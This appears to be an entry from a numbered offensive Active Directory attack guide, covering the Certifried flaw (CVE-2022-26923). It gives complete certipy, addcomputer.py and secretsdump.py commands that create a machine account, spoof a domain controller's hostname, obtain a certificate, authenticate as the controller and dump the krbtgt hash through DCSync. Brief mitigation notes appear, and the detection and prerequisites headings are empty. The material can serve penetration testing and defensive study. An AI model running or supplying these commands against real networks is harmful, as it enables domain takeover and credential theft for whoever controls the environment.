🟢 Attack #36 — Certificate Persistence (Certifried / CVE-2022-26923)

📖 How It Works

Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new machine account (via MachineAccountQuota), change its dNSHostName attribute to match a Domain Controller’s hostname, then request a Client Authentication certificate. The CA issues a certificate with the DC’s hostname — allowing the attacker to authenticate as the DC and perform DCSync.

Attack Flow

1. Create machine account (FAKE$) via MachineAccountQuota
2. Change FAKE$'s dNSHostName to DC01.corp.local
3. Request a certificate using the Machine template
4. CA issues cert with DC01.corp.local in the SAN
5. Authenticate with the certificate → impersonate DC01$
6. DCSync → domain compromise

⚙️ Prerequisites

💻 Full Commands

# ── Step 1: Create machine account ────────────────────────────────────────────
certipy account create -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -pass 'FakePass123!' -dc-ip 10.10.10.10
# Or:
addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 corp.local/low_user:'Password1'

# ── Step 2: Change dNSHostName to match DC ────────────────────────────────────
certipy account update -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -dns DC01.corp.local -dc-ip 10.10.10.10

# ── Step 3: Request certificate for FAKE$ (with DC01 hostname) ───────────────
certipy req -u 'FAKE$@corp.local' -p 'FakePass123!' -ca CORP-CA \
  -template Machine -dc-ip 10.10.10.10
# CA issues cert with DC01.corp.local in SAN

# ── Step 4: Restore dNSHostName (cleanup) ─────────────────────────────────────
certipy account update -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -dns FAKE.corp.local -dc-ip 10.10.10.10

# ── Step 5: Authenticate as DC01$ ─────────────────────────────────────────────
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Returns DC01$ NT hash

# ── Step 6: DCSync ────────────────────────────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :<DC01_HASH> -just-dc-user krbtgt

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[Certifried] ──→ Machine account cert abuse → DC impersonation → DCSync
         │
         ├──→ 🔗 CVE-2022-26923 — patched May 2022
         ├──→ 💻 Low-priv → machine account → DC cert → full domain
         └──→ 💀 Defeated by: patch, set MAQ=0, monitor dNSHostName changes

✅ Attack #36 — Certifried complete.

🏁 Category 4 — ADCS Attacks is now COMPLETE (10/10 attacks).